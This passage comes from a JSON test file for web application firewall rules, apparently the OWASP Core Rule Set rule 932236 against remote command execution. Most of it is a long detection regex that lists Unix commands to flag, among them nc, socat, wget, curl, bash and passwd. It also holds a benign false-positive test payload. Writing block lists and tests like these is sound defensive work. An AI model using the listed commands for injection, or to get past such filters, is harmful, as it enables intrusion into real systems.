]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "False Positive: matching pipe `self`" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "param=rc" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\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(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|k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)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\